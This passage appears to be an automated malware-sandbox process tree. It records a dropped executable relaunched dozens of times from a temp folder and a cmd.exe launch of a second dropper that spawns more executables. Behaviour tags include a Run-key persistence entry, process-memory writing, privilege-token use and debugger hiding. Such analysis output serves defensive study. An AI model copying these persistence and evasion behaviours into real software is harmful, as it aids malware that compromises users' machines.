        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5004
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5472
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5860
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:776
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:404
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3496
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5328
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5568
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3548
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5092
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5888
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5888 -s 28
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:1432
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5868
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3912
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2876
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:228
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3264
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2928
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5372
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4268
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5368
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5208
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3316
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2792
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:800
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2984
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5400
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4528
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3952
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5140
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4344
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4344 -s 28
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:4948
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1208
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3948
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2548
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5564
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:444
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5656
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5880
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4872
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5920
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1428
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4520
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4072
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5572
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2216
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4832
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3780
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5888
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2860
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3528
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5008
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4948
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1360
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5776
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4228
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5048
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4116
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4304
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4304 -s 28
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2528
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5160
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5676
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1464
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1912
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1000
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2128
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1940
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5024
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3196
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2016
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4240
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5228
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5228 -s 28
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2852
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5664
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5960
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2268
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2380
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5732
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2528
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3624
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3628
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1336
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1352
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1544
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3448
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4812
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5636
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6120
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4064
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2852
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3504
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:504
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4104
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5444
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5332
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5520
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5952
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1596
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:6028
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5632
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5432
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3260
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:480
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5184
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5184 -s 28
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5548
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1944
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4216
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:5592
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3844
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:916
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:2464
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3984
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1192
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:4836
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:3560
      - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11e4e580f2e8141a3.exe
        6⤵
        
        PID:1364
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4548
    - - C:\Users\Admin\AppData\Local\Temp\7zSCC28A3E3\Tue11141271fbe5877f.exe
        
        Tue11141271fbe5877f.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3196
      - C:\ProgramData\3402997.exe
        
        "C:\ProgramData\3402997.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3560
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3560 -s 2296
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:2528
      - C:\ProgramData\4644938.exe
        
        "C:\ProgramData\4644938.exe"
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:5044
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        
        PID:3172
      - C:\ProgramData\802260.exe
        
        "C:\ProgramData\802260.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious behavior: EnumeratesProcesses
        
        PID:4788
      - C:\ProgramData\7383144.exe
        
        "C:\ProgramData\7383144.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3256
      - C:\ProgramData\8470279.exe
        
        "C:\ProgramData\8470279.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4896
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4896 -s 2380
